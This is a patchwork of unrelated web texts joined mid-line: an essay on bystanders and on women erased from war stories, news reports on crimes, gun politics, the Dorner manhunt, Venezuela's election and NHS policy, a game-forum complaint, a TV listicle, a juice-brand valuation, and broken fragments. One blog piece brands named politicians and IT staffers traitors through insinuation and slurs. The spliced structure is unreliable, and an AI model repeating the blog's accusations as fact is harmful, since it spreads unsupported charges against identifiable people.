I remember being on the train in Chicago in a car with about a dozen other people. On the other side of the car, a man suddenly fell off his seat. Just… toppled over into the aisle. He started convulsing. There were three people between me and him. But nobody said anything. Nobody did anything.
I stood up, “Sir?” I said, and started toward him.
And that’s when everyone started to move. I called for someone at the back to push the operator alert button, to tell the train driver to call for an ambulance at the next stop. After I moved, there were suddenly three or four other people with me, coming to the man’s aid.
But somebody had to move first.
I stood in a crowded, standing-room only train on another day and watched a young woman standing near the door close her eyes and drop her papers and binder onto the floor. She was packed tight, surrounded by other people, and no one said anything.
Her body began to go limp. “Are you OK!?” I said loudly, leaning toward her, and then other people were looking, and she was sagging, and the buzz started, and somebody called up from the front of the car that he was a doctor, and someone gave up their seat, and people moved, moved, moved.
Somebody needs to be the person who says something is wrong. We can’t pretend we don’t see it. Because people have been murdered and assaulted on street corners where hundreds of people milled around, pretending everything was normal.
But pretending it was normal didn’t make it so.
Somebody has to point it out. Somebody has to get folks to move.
Somebody has to act.
I shot my first gun at my boyfriend’s house in high school: first a rifle, then a sawed-off shotgun. I have since gotten to be pretty decent with a Glock, still terrible with a rifle, and had the opportunity to shoot an AK-47, the gun of choice for revolutionary armies around the world, particularly in the 80’s.
I knocked over my first 200 lb. punching bag with my fist when I was 24.
The punch meant more. Anyone could shoot a gun. But now I knew how to hit things properly in the face. Hard.
The women in my family were hardworking matriarchs. But the stories I saw on TV and movies and even in many books said they were anomalies.
Growing up, I learned that women fulfilled certain types of roles and did certain types of things. It wasn’t that I didn’t have great role models. The women in my family were hardworking matriarchs. But the stories I saw on TV and movies and even in many books said they were anomalies. They were furry, non-cannibalistic llamas. So rare.
But the stories were all wrong.
I spent two years in South Africa and another decade once I returned to the states finding out about all the women who fought. Women fought in every revolutionary army, I found, and those armies were often composed of fighting forces that were 20-30% women. But when we say “revolutionary army” what do we think of? What image does it conjure? Does the force in your mind include three women and seven men? Six women and fourteen men?
Women not only made bombs and guns in WWII – they picked up guns and drove tanks and flew airplanes. The civil war, the revolutionary war – point me to a war and I can point to an instance where a women picked up a hat and a gun and went off to join it. And yes, Shaka Zulu employed female fighters as well. But when we say “Shaka Zulu’s fighters” what image do we conjure in our minds? Do we think of these women? Or are they the ones we don’t see? The ones who, if we included them in our stories, people would say weren’t “realistic”?
Of course, we do talk about women who ran with Shaka Zulu. When I Google “women who fought for Shaka Zulu” I learn all about his “harem of 1200 women.” And his mother, of course. And this line was very popular: “Women, cattle and slaves.” One breath.
It’s easy to think women never fought, never led, when we are never seen.
What does it matter, if we tell the same old stories? If we share the same old lies? If women fight, and women lead, and women hold up half the sky, what do stories matter to the truth? We won’t change the truth by writing people out of it.
Will we?
Stories tell us who we are. What we’re capable of. When we go out looking for stories we are, I think, in many ways going in search of ourselves, trying to find understanding of our lives, and the people around us. Stories, and language tell us what’s important.
If women are “bitches” and “cunts” and “whores” and the people we’re killing are “gooks” and “japs” and “rag heads” then they aren’t really people, are they? It makes them easier to erase. Easier to kill. To disregard. To un-see.
But the moment we re-imagine the world as a buzzing hive of individuals with a variety of genders and complicated sexes and unique, passionate narratives that have yet to be told – it makes them harder to ignore. They are no longer, “women and cattle and slaves” but active players in their own stories.
And ours.
Because when we choose to write stories, it’s not just an individual story we’re telling. It’s theirs. And yours. And ours. We all exist together. It all happens here. It’s muddy and complex and often tragic and terrifying. But ignoring half of it, and pretending there’s only one way a woman lives or has ever lived – in relation to the men that surround her – is not a single act of erasure, but a political erasure.
Populating a world with men, with male heroes, male people, and their “women cattle and slaves” is a political act. You are making a conscious choice to erase half the world.
As storytellers, there are more interesting choices we can make.
I can tell you all day that llamas have scales. I can draw you pictures. I can rewrite history. But I am a single storyteller, and my lies don’t become narrative unless you agree with me. Unless you write just like me. Unless you, too, buy my lazy narrative and perpetuate it.
You must be complicit in this erasure for it to happen. You, me, all of us.
Don’t let it happen.
Don’t be lazy.
The llamas will thank you.
Real human people will, too.Teen boy accused of raping, burglarizing woman in Morgan Hill
Morgan Hill police arrested three juveniles in the rape and burglary of a 40-year-old woman on Saturday, a police captain said.
The incident happened after the woman had been drinking at a local establishment and called a taxi to take her home, Capt. Shane Palsgrove said.
The taxi driver enlisted assistance from a mother and teenage son to help him take the woman inside her house, Palsgrove said.
Later that evening the 16-year-old son returned to the woman's residence and allegedly raped her, Palsgrove said.
The boy then left the woman's home and returned with his 15-year-old girlfriend and her friend, who all burglarized the victim, according to Palsgrove.
Officers later recovered the stolen property at the male juvenile's home, police said.
The three juveniles were arrested on suspicion of residential burglary, conspiracy and violation of juvenile probation, according to Palsgrove.
The male juvenile was also charged with rape of an intoxicated person, Palsgrove said.
Copyright © 2013 by Bay City News, Inc. -- Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.One person has been shot in the Mission District as San Francisco burst into spontaneous celebrations citywide tonight following the San Francisco Giants’ World Series victory against the Kansas City Royals, according to police.
The shooting occurred at 21st and Valencia streets, according to police spokesman Gordon Shyy.
The victim was shot in the arm and is expected to survive the injury. The suspect is at large and there is no description at this time, Shyy said.
Fans have taken over streets in various locations in the Mission District and Civic Center, and there have been some incidents of firecrackers being set off, according to Shyy.
Police have made a few arrests so far and are working to maintain the flow of traffic and keep fans safe, Shyy said.
The Giants defeated the Royals 3-2 in Kansas City, with Madison Bumgarner throwing five shutout innings after two stellar starts earlier in the World Series.
Both teams scored twice in the second inning and Michael Morse hit a broken-bat RBI single in the fourth to score Pablo Sandoval with what proved to be the winning run. Sandoval reached base all four times in the game.
San Francisco Mayor Ed Lee announced this evening that the city will hold a victory parade for the Giants on Friday.
Lee congratulated the Giants for their third World Series win in five years.
“…This world-class organization brought our city together as only our hometown heroes can,” Lee said in a statement.
“San Francisco waits with giant anticipation for the return of our hometown team so we can celebrate as one city with a parade down Market Street to welcome them home,” he said.
The parade is scheduled to start at noon at Market and Steuart Streets and continue down Market Street to Civic Center Plaza.
The team’s World Series-clinching wins in 2010 and 2012 also came on the road.Nearly 14 years after its 2002 launch, Warcraft 3 — the last real-time strategy game under that franchise's name — is still being patched.
The patch arrives on March 15, as announced in the video below, subtitled in Chinese, for fans of the game in that country. The same patch will be applied globally. No specific details are given as to what the patch addresses.
Robert Bridenbecker, the lead developer for Blizzard's "classic games" group, adds tha this won't be the final patch for the game, either, and that Blizzard has more in mind.
Last year, Blizzard reconstituted its older series, such as StarCraft, Diablo 2 and Warcraft 3, under a legacy games division, with a mission of "restoring them to glory." All three games are still currently supported on Battle.net.Sealing caves...
Being able to seal caves at all is a silly game mechanic, full stop.
Caves should be open to anyone who wants to explore them. It's a fundamental part of the game, and all this does is mean that anyone on the server who doesn't 'own' a cave has to grind a...heck...of a lot more, and miss out on the extra monsters inside, as well as the cool chests, artifacts and loot drops, but that aside, it's just fun to go exploring caves.
It eliminates a huge portion of the game for something like 80% of the people on the server who just don't have the time to go all out spending too much time grinding for the proper explosive materials. Materials which could be used to build bases, pvp or raiding.
Even if the wall/metal door is destroyed, it's too easy to re-erect a new metal door, making it an arduous, grinding task to collect the materials for explosives every time anyone wants to simply go for a visit to a cave.
Come on, leaving cave zones open could create fun pvp zones full of mobs...and players.
Please don't mention the pve servers. That's all well and good, but I still want to be able to explore the map and pvp without large portions being sealed off and controlled. It hasn't fixed the issue.
I'vet got 80+ hours of gameplay and most everyone feels the same way, with the few disagreeing being...surprisingly..the people who play almost non-stop, keeping the caves sealed, in really large tribes. There is a very valid point to be made here.
Leave the walls and gates to base building, please fix this devs.A Utah man’s leukemia is in remission, thanks to an experimental therapy. Doctors injected him with HIV-infused white blood cells, which were programmed to recognize, target and kill the cancer.
Marshall Jensen was diagnosed with acute lymphoblastic leukemia in early 2012. He then began searching for a treatment that would force the aggressive and often deadly blood cancer into remission. After traveling the country for unsuccessful surgeries, treatments and procedures, he learned about researchers at Penn Medicine in Philadelphia, Pennsylvania, where they’ve spent two decades developing a breakthrough experimental treatment that kills cancer in otherwise incurable leukemia patients, KSL reported.
"It felt right; and we didn't know how we were going to get out there, what we were going to do, but it worked,” Jensen said. “By God's grace I was able to come back."
The researchers at Penn Medicine, led by Dr. Carl June, focus on using patient's own immune cells ‒ known as T-cells, a type of white blood cells ‒ and HIV, the virus that causes AIDS.
"It's a disabled virus," June explained to KSL. "But it retains the one essential feature of HIV, which is the ability to insert new genes into cells.”
The experimental therapy, called T-cell immunotherapy, works by removing billions of the patient's T-cells from the blood and genetically modifying or reprogramming them with a disabled form of HIV in the laboratory. This modification or reprogramming allows them to potentially target and kill their own malignant cells. The modified cells ‒ now called CTL019 cells ‒ are then grown in the laboratory and re-infused into the patient. When the patient's own T-cells recognize and bind to the malignant cell, they have the ability to become activated and kill it, according to the Abramson Cancer Center.
June told KSL that the CTL019 cells, which he refers to as "serial killers," stay dormant in the body unless the cancer returns.
The link between leukemia and HIV goes back to 2006, when Timothy Brown, an HIV-positive patient was diagnosed with acute myeloid leukemia. During the course of his treatment, he eventually had a bone marrow transplant from a donor with a rare genetic mutation. The transplant not only treated Brown's leukemia but had also eliminated the HIV from his system, the doctors treating him announced in a study published in the New England Journal of Medicine. Brown, who became known as the Berlin Patient, became the first man to ever be fully cured of HIV.
His case caused a revolution in research that focused on using the immune system to kill cancer cells.
In 2012, seven-year-old Emma Whitehead became the first child to undergo T-cell immunotherapy, as well as the first patient to be treated for acute lymphoblastic leukemia. Two months after the April procedure, testing revealed there was no sign of cancer in the girl’s body.
Whitehead and Jensen were both part of a study by researchers at the Children’s Hospital of Philadelphia and the Hospital of the University of Pennsylvania (Penn Medicine) that was published in The New England Journal of Medicine in October. There were a total of 30 acute lymphoblastic leukemia patients involved: five adults ages 26 to 60, and 25 children and young adults ages 5 to 22. Six months after being treated, 23 of the 30 patients were still alive, and 19 of them have remained in complete remission, the New York Times reported.
“We have a number of patients who are a year or more out and are in remission and not requiring other therapies,” said Dr. Stephan A. Grupp, who led the part of the study done at Children’s Hospital of Philadelphia. He told the Times those long remissions gave the researchers hope that the treatment would have lasting effects.
June described the effectiveness of the treatment as “beyond my expectations.”
In July, the Food and Drug Administration designated the T-cell treatment a “breakthrough therapy” for relapsed and treatment-resistant acute lymphoblastic leukemia in adults and children. The designation recognizes experimental drugs “that may demonstrate substantial improvement over existing therapies” for life-threatening conditions, and is meant to speed their development and review, according to the Times.
Jensen returned home Thursday to a celebration organized by his neighbors, KSL reported.
“It really has been an experience that we have all been a part of, instead of just them battling it by themselves,” a neighbor said.
June’s next step will be to use the gene therapy on other types of cancers.The second-ranking House Republican said Tuesday that he supports improving the federal background-check system for gun buyers but stopped short of endorsing universal checks on all weapon purchases.
The comments by House Majority Leader Eric Cantor (R-Va.) came as two GOP lawmakers from suburban districts announced plans to co-sponsor legislation to make gun trafficking a federal crime for the first time. The moves signal potential openings for bipartisan compromise on gun control, a debate so far dominated by Democrats with little said or done by Republicans.
Cantor, giving the most specific comments on gun control by a GOP congressional leader since President Obama outlined his proposals in late January, told CNN in an interview that lawmakers could consider adopting a plan implemented by Virginia after the 2007 shootings at Virginia Tech. Since the shootings, the state has linked mental-health information to law enforcement databases used to conduct background checks for gun purchases.
“I think that we can take a lot of lessons from what Virginia did and put it in place at the federal level,” Cantor told CNN. “Because there’s a lot of states that aren’t doing what Virginia is doing to try to beef up the database for the background checks to make sure that we actually can do something that does have a chance at reducing the likelihood and hopefully eliminating that from happening again.”
When asked, Cantor stopped short of saying he supported universal background checks, saying only that “I am for making sure that we increase the quality of information in the database that is in existence already.”
View Graphic President Obama proposed expansive gun-control policies aimed at curbing gun violence. The Obama administration can implement about half of the proposals, but the others — arguably some of the more critical initiatives — will require congressional approval.
Cantor aides declined multiple requests Tuesday to clarify the leader’s comments.
Last month, Obama took four separate executive actions designed to improve the information in the existing background-check system. The administration has begun removing legal and regulatory barriers for states to share information about the mentally ill with the federal background-checks database and is holding federal agencies accountable for sharing relevant information with the database. The administration is also asking Congress to provide $50 million in incentives for states to share criminal history and mental-health information with the federal database.
On Capitol Hill, Rep. Elijah E. Cummings (D-Md.) said Cantor’s comments “clearly opened the door for the House to move on meaningful legislation” to address gun violence.
Cummings and Reps. Carolyn B. Maloney (D-N.Y.), Patrick Meehan (R-Pa.) and Scott Rigell (R-Va.) on Tuesday unveiled the first bipartisan gun-control bill introduced in the House since the Dec. 14 shooting at Sandy Hook Elementary School in Newtown, Conn.
The bill would make gun trafficking a federal crime and impose new penalties against gun “straw purchasers” who knowingly buy firearms for convicted criminals who are barred from buying their own weapons. It mirrors a bipartisan Senate bill introduced last week and was part of Obama’s recent proposals.
Rigell and Meehan said they have discussed the bill with Republican colleagues. “There are some questions, but generally they’re very supportive,” Rigell said of potential co-sponsors.
Cummings recalled the shooting death last year of his 20-year-old nephew: “It is a painful thing to see your blood splattered on the walls of an apartment. To see tissue from your loved one splattered on walls.”
Also Tuesday, the White House announced that Obama will honor the six Sandy Hook Elementary School teachers and administrators who died trying to protect their students during the Newtown massacre. They will posthumously receive the 2012 Presidential Citizens Medal, one of the highest honors bestowed by the president, at a Feb. 15 ceremony, a White House official said.Obese people and smokers will be asked to lose weight and give up cigarettes or face delays to routine operations after a health authority’s proposals were approved by NHS England.
Patients with a body mass index (BMI) of at least 30 will be asked to lose weight or face a 12-month delay for elective surgery while smokers will be asked to quit for two months or face a six-month postponement, the Vale of York Clinical Commissioning Group (CCG) announced.
The North Yorkshire CCG ruled out a “blanket” ban and said each patient would be dealt with on a “case-by-case basis” when the plan comes into force in January.
Decision to deny surgery to obese patients is like 'racial discrimination' Read more
The CCG said: “Smokers and obese patients that need routine surgery, but do not wish to access the support services or fail to meet the criteria will not be denied their operation, but it could mean they have to wait longer than they otherwise would have done.”
Dr Shaun O’Connell, the CCG clinical lead who is also a local GP, said the plans would give patients the “best possible health outcomes in the long term” while helping to protect finances.
O’Connell said: “There is no ban and no blanket policy … decisions about what is in the best interests of their health, will be made on a case-by-case basis.”
The CCG, which serves a population of more than 351,000 in areas including York, Selby and Tadcaster, said there would be exclusions from the plan, which will probably include emergency and bariatric surgery and operations on patients under 18.
This year, NHS England intervened in the policy after the Royal College of Surgeons raised concerns that the proposals went against clinical guidance and made smokers and overweight patients soft targets for financial savings.
But the public body has now approved the plan.
An NHS England spokeswoman said: “Vale of York CCG has made clear its commitment to supporting patients to achieve better health and clinical outcomes by referring them to an established weight loss or stopping smoking programme, where appropriate.
“However, every patient’s case will be considered in the light of their own particular circumstances and on the basis of clinical need.”
A Downing Street spokesman said: “The Vale of York Clinical Commissioning Group has been very clear that there is no ban and no blanket policy. People who fail to meet certain criteria will not be denied their operation. Clinicians will give advice to patients and it is right that they do so.
“Procedures for patients will be based on the best interests of the patient’s health. They won’t be denied the operation. What is important is that the patients receive the appropriate clinical advice and that is what is taking place at the Vale of York CCTG.
“It’s consultants and clinicians whose job it is to give that advice, and it’s for them to advise what is in the best interests of their patients before they undergo surgery.”Angel – The 5 Best Moments
It can be rough being a spinoff series. Co-creators David Greenwalt and Joss Whedon did well enough to make Angel stand on its own, though. It did well enough to stay out of Buffy’s shadow, which was large enough to cast several great moments of its own. Angel ran for five years, producing some of the best episodes of the genre. Out of all the great moments, these particular five stand out to me as what truly made it one of my favorite series.
!!!SPOILERS!!!
If there is one thing Angel always did at top game, it was exits. In the series finale, “Not Fade Away,” we see a shared exit for Lorne and Lindsay. This may be the darkest moment of the show. We see Lorne, a character whose personality brought in mostly light and comedic relief, forced to kill a man who was trying to redeem himself. Lindsay’s past is what took him down, and the Angel crew simply couldn’t trust him. Watching this scene a second time adds depth to what is being said between them before Lorne pulls the trigger. I probably would’ve picked up on what he was saying the first time if it weren’t for the shock and sadness (I actually liked Lindsay). And what better parting words could Lorne have used besides “Good night, folks”?
There were plenty of emotional moments during Angel‘s run, but not many reach the standards set by the last five minutes of “I Will Remember You.” After spending a day of being human, Angel decides to go to the Oracles, who turn back time to before he is infected with the Mohra Demon blood that caused his humanity. It’s when he breaks the news to Buffy, who he spent the entire day with, that the tears start to roll. Buffy ultimately agrees with his decision, but their exchange is still heartbreaking. Perhaps, the most tragic aspect of this episode is that Angel is the only one that remembers the lost day. Buffy swears to him in their final minute that she won’t forget, but that’s not how things work out. Angel is forced to go another curse alone.
3. “We’ll be together”
That’s right. Angel‘s series finale was good enought to merit two of its top five moments. This particular scene showcases two great moments in unison; the evolution of Illyria and the passing of Wesley. Wesley arguably had the most character development in the entire series. His character really grew on me, so it was sad to him go down like that. I’d say Fred goes down for the saddest death, but what makes Wesley’s slightly more memorable to me is how it reflected Fred’s. They each died in each others arms. The symmetry to that really hit me hard. Also, seeing the transformation from Fred to Illyria as she broke Vail’s face was pretty incredible.
The return of Angelus was one of the best story arcs that Angel has ever seen. And they probably couldn’t have picked a better way to start. I, like many I assume, was tricked into thinking that things were finally going in favor of the good guys. Just about every relationship Angel had was restored, the world was saved and Angel reached true happiness. Of course, true happiness doesn’t go over very well. This time, true happiness was needed to bring out the beast within Angel to stop the beast within Los Angeles. Just as Angel reaches this high point, we have a bomb dropped on us. About 90% of the episode was an illusion crafted to bring out his bad side, and it passed with flying colors. I don’t know what shocked me more, the twist in the story or the twist of David Boreanaz being able to freeze my blood by laughing.
Angel has seen its fair share of twists, but this one always stands out to me as the strongest goose-bump inducer. It might have been a little Sixth Sense-ish, but it still caught me off guard. “You’re Welcome” features the return and departure of one of the Buffyverse’s longest running characters, Cordelia. Season 4 put her through a pretty rough story line which was more than made up for in this episode. Throughout the episode, Cordelia sees more and more of what Angel is turning into and straightens him out. Everything was looking bright; Cordy was back, Angel was seeing things clearly, and they finally share a true kiss. Then, we’re hit with emotional strain in the final scene. The reveal that Cordelia never woke up from her coma, passed away and was just, more-or-less, a spirit, was done with perfection. I rewatched the scene maybe five or six times.
0 SharesSALT LAKE CITY (April 21, 2014) – The Utah Jazz announced today that the team has elected not to offer head coach Tyrone Corbin a new contract. As a result, a search for a new head coach will begin immediately.
“I would like to thank Ty and his staff for all of their hard work, dedication and professionalism over the last three-plus seasons,” said Jazz General Manager Dennis Lindsey. “This has not been an easy decision, but after a thorough review process, we as an organization feel that this is the best decision for our franchise moving forward.”
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Corbin compiled a 112-146 (.434) record with the Jazz in four seasons, guiding the team to a winning record in two of his three full seasons and a playoff appearance in 2012. The Jazz finished the 2013-14 season with a 25-57 (.305) record.
“The decision to make impactful changes in our organization is never taken lightly,” said Greg Miller, CEO of the Larry H. Miller Group of Companies. “Ty has always represented the Jazz franchise in a first-class manner both on the court and in the community. He did a wonderful job of building relationships with the players and encouraged their growth throughout the season. We wish Ty, Dante and their family nothing but the very best for their future.”
Corbin became the seventh head coach in Jazz history and only the fourth since the franchise’s relocation to Utah in 1979, when he was elevated to head coach on February 10, 2011 following the resignation of Jerry Sloan. Prior to his promotion, Corbin served as an assistant coach for the Jazz under Sloan from 2004-2011. He also played for nine teams during a 16-year NBA career (1985-2001), including three seasons with the Jazz from 1991-94.
“Ty represented himself and the Utah Jazz organization with great class and dignity, and he and his family have been an important part of our team and community for many years,” said Jazz President Randy Rigby. “I want to thank them for their numerous contributions to this franchise and wish them well in the future. They will always remain a part of the Jazz family.”A substantial proportion of pediatric CDI is community-associated and there are clinical differences between children with CA-CDI and HA-CDI. Children with CDI frequently experience severe disease, while complications are uncommon. Early identification and treatment of CDI |
projected a growth rate of 8.2 per cent, as against its growth projection of 6.7 in 2017 and 7.4 in 2018.It has been a while since I posted anything on the Awan brothers: Seth Rich and the Awan Brothers and DWS and DNC investigations.
The reason for the delay was the relative paucity of new information on the Awan Brothers--that is, until Imran Awan, the chief co-conspirator was arrested at Dulles airport trying to flee to Pakistan. Since then the flood gates have opened. The effluent exceeds anything to be expected from the imminent rupture of the Oroville Dam (CA). Now even some factions of the MSM (mostly shit media) are beginning to tepidly mention this case. The Imran Awan and associates treason dwarfs Benedict Arnold's treason by orders of magnitude.
Hat tip to LSM, who captured the scene for posterity:
The Democratic House of Represents Awanophilia began in 2004 when Imran Awan got employment in the Washington DC lair of Gregory Weldon Meeks. Mr Meeks has a distinction, not unique to him but more broadly shared and worth mentioning: voted as one of the most corrupt members of Congress.
[missing caption: what'd I do, I ain't done nuthin']
Learn the official Meeks story at his sanitized website: https://meeks.house.gov
Wikipedia has a somewhat less flattering view of GWM: https://en.wikipedia.org/wiki/Gregory_Meeks
Citizens for Responsibility and Ethics in Washington (CREW) named Meeks one of the most-corrupt members of Congress in 2011.[19] It was subsequently reported that Meeks' continuing ethical and criminal probes would cause his premature exit from Congress;[20] however, Meeks has denied this.[21] Hip hop artist and law school graduate Mike Scala announced in October 2011 to run for office against Meeks.[22] However, Meeks won the Democratic primary and was re-elected with 89.7% of the general election vote in November 2012.
Using the term loosely, "Representative" Meeks only represents his own financial well-being. Which brings us to the folie a trois: Gregory Meeks, Imran Awan (IA) and Edul Ahmad (EA). This story gets pretty confusing because IA and EA used many different pseudonyms each (why so many?) They also owned or claimed residence in multiple different dwellings, IA mainly in DC Metropolitan area and EA in NYC area.
Here is why this trio is of interest. GWM was the first to hire IA as House IT staffer in 2004, before any of IA's consortium were hired. What is the connection between GWM and IA? It is EA.
First here is the scanty Wikipedia entry about IA: https://en.wikipedia.org/wiki/Imran_Awan
Edul Ahmad in happier days.
But here is the main connection between GWM and EA:
Meeks stood by his old friend [EA] in a statement: “My thoughts and prayers are with those who were affected by these crimes, and with Ed and his family.” The Daily News uncovered a $40,000 “loan” from Ahmad to Meeks, which was not listed on the Queens Democrat’s financial disclosure forms in 2007 and 2008. The News found Meeks later disclosed the “handshake” loan was not recorded, had no specified interest rate, and he made no payments for more than three years. Sources said Meeks obtained the loan from Ahmad to help pay for the massive stucco mansion the politician purchased for $830,000 in 2006. A report by the Office of Congressional Ethics concluded that Meeks may have violated federal law by hiding what appeared to be a “gift.”
A little follow-up is in order. Of the trio, only one still is not in prison or soon to be: GWM. Here is that fate of EA from our "legal" system: off to prison despite being a snitch.
Oh, yeah, before I forget, here's a picture of the criminal:
Are any of you finding the above picture ambiguous?
Getting back to the mostly shit media, the prime example of professional journalism (if you need a snark marker here, well...TOP is the place for you), CNN rings in with this dissembling article.
Awan, 37, of Lorton, Virginia, was a shared employee paid by more than a dozen Democratic House offices, congressional disbursement documents show, for January to March 2017, the most recent period for which data are available.
Yes, more than a dozen, lots more than a dozen. One estimate I have read about the DemonRATic utilization of this Pakistani treason is at least 80.
This essay is intended to portray the genesis of the Meeks-Awan-DWS treason--Can I say this louder: TREASON.
The fallout will be dealt with in subsequent essays. DWS did not hire IA until 2005. Why did she do that? Why did she then recommend this crime family to other House Dems? I don't know.
Fun facts about IA: aliases
Muhammad S Awan
IAwan
Muhammad Awan
Imran Awan
Shah Awan
MAAwan
Muhammad A Awan
Muhmmad A Awan
Awan S Muhammad
Not to be outdone, EA has used the following aliases:
Ahmad Edul Nasir
Edul Nasir Ahmad
Ahmad Edul
Ed Ahmad
Edul Ahmad
Edul H Ahmad
Edul N Ahmad
Ahmad N Edul
Nasim Ahmad Edul
Edul N Hmad
Ahmad Edul Nasim
Why so many? Check out the multiple residences and email addresses both criminals used--many, many. Why do you think that is?
In future essay(s), the importance of this treason will be further examined. Folks, we're just getting started!Dorner believed to be dead Police say the suspect did not leave the burning cabin in which he was barricaded
BIG BEAR, Calif. (AP) -- The man believed to be fugitive ex-cop Christopher Dorner never came out of a California mountain cabin, and a single shot was heard inside before the cabin was engulfed in flames, a law enforcement official told The Associated Press.
The law enforcement official requested anonymity because of the ongoing investigation.
Advertisement:
A fourth person - a deputy - died earlier in the latest confrontation with America's most-wanted man, which seemed to be coming to an end.
Officials were waiting for the fire to burn out before approaching the ruins to search for a body.
"We have reason to believe that it is him," San Bernardino County sheriff's spokeswoman Cynthia Bachman said.
The cabin was on fire and smoke was coming from the structure in the late afternoon after police surrounded it in the snow-covered woods of Big Bear, a resort town about 80 miles east of Los Angeles.
Bachman didn't say how the fire started but noted there was gunfire between the person in the cabin and law enforcement officers around the home before the blaze began.
TV helicopters showed the fire burning freely with no apparent effort to extinguish it.
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Authorities have focused their hunt for Christopher Dorner there since they said he launched a campaign to exact revenge against the Los Angeles Police Department for his firing.
Authorities say Dorner threatened to bring "warfare" to LAPD officers and their families, spreading fear and setting off a search for him across three states and Mexico.
"Enough is enough. It's time for you to turn yourself in. It's time to stop the bloodshed," LAPD Cmdr. Andrew Smith said earlier in the day at a news conference held outside police headquarters in Los Angeles, a starkly different atmosphere than last week when officials briefed the news media under tight security with Dorner on the loose.
If the man inside the cabin does prove to be Dorner, it will lower tensions among the more than 40 targets police say he listed in an online rant.
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Until Tuesday, authorities didn't know whether Dorner was still near Big Bear, where they found his burned-out pickup last week.
Around 12:20 p.m. Tuesday, deputies got a report of a stolen vehicle, authorities said. The location was directly across the street from where law enforcement set up their command post on Thursday and not far from where Dorner's burned-out pickup was abandoned.
The people whose vehicle was stolen described the suspect as looking similar to Dorner. When authorities found the vehicle, the suspect ran into the forest and barricaded himself inside the cabin.
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The first exchange of gunfire occurred about 12:45 p.m.
California Department of Fish and Wildlife said in a statement that one of its officers traveling down Highway 38 recognized a man who fit Dorner's description traveling in the opposite direction.
The wildlife officer pursued the vehicle and there was a shooting in which the wildlife vehicle was hit numerous times and the suspect escaped on foot.
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There was then a second exchange with San Bernardino County deputies, two of whom were shot. One died and the other was expected to live after undergoing surgery.
"We're heartbroken," Big Bear Lake Mayor Jay Obernolte said of the deputy's death and the wounding of his colleague. "Words can't express how grateful we are for the sacrifice those men have made in defense of the community and our thoughts and prayers are with them and their families."
Police say Dorner began his run on Feb. 6 after they connected the slayings of a former police captain's daughter and her fiance with an angry Facebook rant they said he posted. Threats against the LAPD led officials to assign officers to protect officers and their families.
Within hours of the release of photos of the 6-foot, 270-pounder described as armed and "extremely dangerous," police say, Dorner unsuccessfully tried to steal a boat in San Diego to flee to Mexico and then ambushed police in Riverside County, shooting three and killing one.
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Jumpy officers guarding one of the targets named in the rant in Torrance on Thursday shot and injured two women delivering newspapers because they mistook their pickup truck for Dorner's.
Police found charred weapons and camping gear inside the truck in Big Bear.
Helicopters using heat-seeking technology searched the forest from above while scores of officers, some using bloodhounds, scoured the ground and checked hundreds of vacation cabins - many vacant this time of year - in the area.
A snowstorm hindered the search and may have helped cover his tracks, though authorities were hopeful he would leave fresh footprints if hiding in the wilderness.
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Dorner's anger with the department dated back at least five years, when he was fired for filing a false report accusing his training officer of kicking a mentally ill suspect. Dorner, who is black, claimed in the rant that he was the subject of racism by the department and fired for doing the right thing.
He said he would get even with those who wronged him as part of his plan to reclaim his good name.
"You're going to see what a whistleblower can do when you take everything from him especially his NAME!!!" the rant said. "You have awoken a sleeping giant."
Chief Charlie Beck, who initially dismissed the allegations in the rant, said he would reopen the investigation into his firing - not to appease the ex-officer, but to restore confidence in the black community, which long had a fractured relationship with police that has improved in recent years.
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One of the targets listed in the manifesto was former LAPD Capt. Randal Quan, who represented Dorner before the disciplinary board. Dorner claimed he put the interests of the department above his.
The first victims were Quan's daughter, Monica Quan, 28, a college basketball coach, and her fiance, Keith Lawrence, 27. They were shot multiple times in their car in a parking garage near their condo.
Dorner served in the Navy, earning a rifle marksman ribbon and pistol expert medal. He was assigned to a naval undersea warfare unit and various aviation training units, according to military records. He took leave from the LAPD for a six-month deployment to Bahrain in 2006 and 2007.In his victory speech on Sunday night, Venezuelan president Nicholás Maduro promised a recount of the votes in his surprisingly thin 51 to 49 percent defeat of opposition candidate Henrique Capriles. After one of the five members of the National Electoral Council called for a recount, Maduro agreed and told suporters “We’re going to do it.” He continued “We’re not afraid. Let the [voting] boxes talk — that the truth be told.”
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That was then. Now, after Capriles has assembled affadavits and anecdotes documenting 3,200 irregularities in the vote count and claimed that his count indicates that Maduro lost, suddenly there will be no recount. In a ceremony in central Caracas, the National Electoral Council declared Maduro the winner on Monday. He will be inaugurated as president on an accedlerated timetable this Friday.
Even for a government known for its deceit and broken promises, the Maduro backflip was stunning. The Organization of American States, in addition to the Obama administration and the European Union, had called for a recount. Those calls were echoes by several foreign observers. “After what we lived through and saw yesterday — all the complicated and delicate situations that we witnessed — we cannot say, objectively and categorically, that this was a clean and purely democratic process,’’ said Gustavo Palomares, the Spanish president of the Institute of Higher European Studies.
Circumstantial evidence is important. All of it points to the Chavista government making a sudden decision that they couldn’t afford a recount for what it might reveal. They appear to know they committed vote fraud; they just don’t want the rest of the world to know.A Trefis cash-flow analysis finds that The Coca-Cola Company's Minute Maid orange juice brand is significantly more valuable than rival PepsiCo's Tropicana juice. Primary reasons include Minute Maid's higher international market share and better profit margins.
Coca-Cola ( KO ) and PepsiCo ( PEP ) are the two biggest global soft-drink manufacturers. They compete across nearly all drink categories, including orange juice. We estimate that Minute Maid constitutes about 8% of our stock price estimate for Coca-Cola, or $11 billion out of the company's total value of $138 billion. Tropicana also constitutes close to 8% to PepsiCo's stock, but we think the business is worth about $8.4 billion based on PepsiCo's estimated total value of $106 billion. Our analysis follows below.
Minute Maid leads abroad
Tropicana leads the U.S. fruit juices & energy drinks market with a unit share of about 9% compared to 7.8% for Minute Maid. In unit terms, the U.S. juice and energy drink market totaled an estimated 4.7 billion cases in 2009.
But Minute Maid is far ahead of Tropicana in the international market, which totaled 9.9 billion cases in 2009. Minute Maid accounted for nearly 13% of the international market compared to about 5% for Tropicana. We expect Minute Maid's international share to stay roughly flat during our forecast period. You can drag the trend-line in the chart below to create your own Minute Maid share forecast and see how it impacts Coca-Cola's stock.
Minute Maid has better margins
Minute Maid's gross profit margins were about 64% in 2009, compared to 53% for Tropicana. Our analysis applies company-wide profit margins to each divisions. Thus Minute Maid's margins reflect those of the Coca-Cola Company's margins as a whole. The same goes for Tropicana and PepsiCo. [1]
Thus a combined impact of higher margins and international market share, results in higher cash flows for Minute Maid compared to Tropicana making it a more valuable business.
You can see the complete $60 Trefis stock price estimate for The Coca-Cola Company here.
You can see the $67 Trefis stock price estimate for PepsiCo here.
Notes:
